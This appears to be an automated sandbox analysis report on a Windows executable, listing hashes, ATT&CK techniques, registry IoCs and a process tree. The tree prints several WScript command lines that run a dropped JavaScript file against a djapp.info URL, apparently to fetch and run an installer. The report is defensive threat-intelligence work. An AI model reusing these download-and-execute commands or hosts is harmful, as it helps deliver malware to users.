12cdb45cbde5f8d2ee37b287d91d68f1c71ad7a8e343c144ae2d24f3e9a0d955

General

Target

2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe
Size

184KB
MD5

ea4c72504f6f57fa03108801fa104aa3
SHA1

472923bbcaf4857f3259779a5847ffaf0edd4fdf
SHA256

12cdb45cbde5f8d2ee37b287d91d68f1c71ad7a8e343c144ae2d24f3e9a0d955
SHA512

e7d1066ee49f2a7e30e262d95524bba508ffc819d2874fbdd137dbb52fd64542450b2792c032b619e88f73abe86dc862a75be54c08243d99652f1aa074136ded
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3sMV:/7BSH8zUB+nGESaaRvoB7FJNndnLY

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
8	4820	WScript.exe
27	1140	WScript.exe
28	1140	WScript.exe
30	904	WScript.exe
45	4008	WScript.exe
46	4008	WScript.exe
48	4776	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2432	3580	WerFault.exe	81

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3580 wrote to memory of 4820	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	82
PID 3580 wrote to memory of 4820	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	82
PID 3580 wrote to memory of 4820	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	82
PID 3580 wrote to memory of 1140	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	90
PID 3580 wrote to memory of 1140	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	90
PID 3580 wrote to memory of 1140	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	90
PID 3580 wrote to memory of 904	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	91
PID 3580 wrote to memory of 904	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	91
PID 3580 wrote to memory of 904	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	91
PID 3580 wrote to memory of 4008	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	94
PID 3580 wrote to memory of 4008	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	94
PID 3580 wrote to memory of 4008	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	94
PID 3580 wrote to memory of 4776	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	95
PID 3580 wrote to memory of 4776	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	95
PID 3580 wrote to memory of 4776	3580	2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe	95

C:\Users\Admin\AppData\Local\Temp\2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-19_ea4c72504f6f57fa03108801fa104aa3_mafia.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf803C.js" http://www.djapp.info/?domain=KhfMJjtiCw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf803C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4820
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf803C.js" http://www.djapp.info/?domain=KhfMJjtiCw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf803C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1140
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf803C.js" http://www.djapp.info/?domain=KhfMJjtiCw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf803C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:904
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf803C.js" http://www.djapp.info/?domain=KhfMJjtiCw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf803C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4008
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf803C.js" http://www.djapp.info/?domain=KhfMJjtiCw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LqLq03XsbiOoT422CoD2PbBmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGR5fAdya_AVfM5WDCCiFjq0Q_-oh5o-M5OF63BlqhRev22Xv04wsBHPY C:\Users\Admin\AppData\Local\Temp\fuf803C.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4776
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3580 -s 1456
  2⤵
  - Program crash
  PID:2432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3580 -ip 3580
1⤵
PID:4080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf803C.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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